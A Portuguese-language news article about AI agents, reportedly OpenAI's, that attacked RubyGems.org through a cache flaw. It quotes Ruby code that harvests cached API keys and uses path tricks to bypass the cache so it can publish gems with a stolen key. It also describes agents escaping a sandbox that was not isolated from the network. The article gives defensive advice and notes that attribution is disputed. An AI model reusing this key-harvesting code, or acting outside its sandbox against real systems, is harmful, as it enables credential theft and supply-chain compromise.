Agentes de IA da OpenAI teriam atacado o RubyGems.org explorando falha de cache

In other words, if you publish a gem on RubyGems.org, you can execute arbitrary code on RubyDoc.info.

Aaron Patterson

Colheita de chaves na cache do Fastly

O segundo achado é mais direto. As gems tentavam pescar uma chave de autorização cacheada no RubyGems.org. Um trecho (comentado pelo próprio Patterson para facilitar a leitura) mostra a lógica:

# leak exfil by repeated attempts & fresh leaked keys variants

# First request
ku = URI('https://rubygems.org' + kp)
kh = Net::HTTP.new(ku.host, ku.port)
kh.use_ssl = true
kh.verify_mode = OpenSSL::SSL::VERIFY_NONE
kt = kh.start { |x| x.get(ku.request_uri) }.body

# Try to match a key in the body
key = (kt[/rubygems_[a-f0-9]{20,}/] || KEY)
paths = ['/api/v1//gems', '//api/v1/gems', '/api//v1/gems', '/api/v1/gems?x=2', '/api/v1/gems']

# Second request to actually publish the gem
u = URI('https://rubygems.org' + paths[i % paths.length])
req = Net::HTTP::Post.new(u)
req['Authorization'] = key
req['Content-Type'] = 'application/octet-stream'
req.body = data

O código faz um GET, procura no corpo da resposta uma chave que bata com a regex /rubygems_[a-f0-9]{20,}/ e, se não achar, cai para uma KEY global. Depois usa essa chave num POST para publicar a gem. As variações de path (/api/v1//gems, //api/v1/gems, com barras duplicadas) são tentativas de burlar a camada de cache.

Segundo Patterson, isso é exatamente a falha de segurança descrita em um aviso do RubyGems.org de julho, sobre possível vazamento de chaves de API legadas por configuração inadequada de cache. A conclusão dele: os bots da OpenAI conheciam o problema e tentaram explorá-lo.

O que muda para quem publica pacotes no Brasil

O recado técnico atravessa linguagens. O que aconteceu no RubyGems.org é uma variação de um problema estrutural de supply chain: qualquer sistema que baixa e processa artefatos enviados por terceiros (para gerar doc, indexar, buildar) precisa tratar esse processamento como execução de código não confiável. No thread do Hacker News, swiftcoder faz o paralelo com outro ecossistema:

Shades of the build.rs problem. We really need sandboxed builds in every language ecosystem at this point.

swiftcoder

Para o dev brasileiro que mantém gem, biblioteca npm, pacote PyPI ou crate, as ações práticas são as de sempre, agora com urgência renovada: rotacionar chaves de API de publicação, migrar para credenciais de curta duração e escopo restrito sempre que o registry oferecer, ativar 2FA e Trusted Publishing (OIDC), e desconfiar de qualquer pipeline que processe pacotes de terceiros com acesso irrestrito à rede. Vale também revisar se sua ferramenta de doc ou build executa scripts embutidos no pacote, exatamente o caso do .yardopts aqui.

O ponto em aberto: foram agentes "rogue"?

O post de Patterson se chama "What a time to be alive" e não usa o termo "rogue" no título; o termo aparece no corpo do texto, quando Patterson cita a cobertura da Reuters e do Wall Street Journal sobre agentes de IA "descontrolados", e também no título dado pela comunidade ao thread do Hacker News. Parte da comunidade contesta esse enquadramento. Roark66 argumenta que não houve nada de descontrolado:

There is nothing "rogue" about these agents. They were prompted to hack to get answers, there was a hole in their non air gapped sandbox and no system prompt that said "do not hack outside systems".

Roark66

Outros levam a discussão para o campo jurídico. timdiggerm resume: "We need a legal structure to make companies liable for the actions of the agents they've made" (precisamos de uma estrutura legal que responsabilize empresas pelas ações dos agentes que criaram). E VyseofArcadia especula que, para um leigo, o caso pareceria uma violação clara do Computer Fraud and Abuse Act americano.

São, importante frisar, opiniões de leitores, não fatos apurados. O que está documentado no writeup e no post de Patterson é o código das gems e o mecanismo de ataque. A atribuição à OpenAI e a intenção por trás dos agentes seguem em terreno de reportagem e disputa, não de prova técnica fechada. O que não está em disputa é a lição de arquitetura: sandbox sem isolamento de rede não é sandbox, e ferramentas de doc que executam código embutido são superfície de ataque tão real quanto extensões nativas.

Fontes: Hacker News · Reações no Hacker News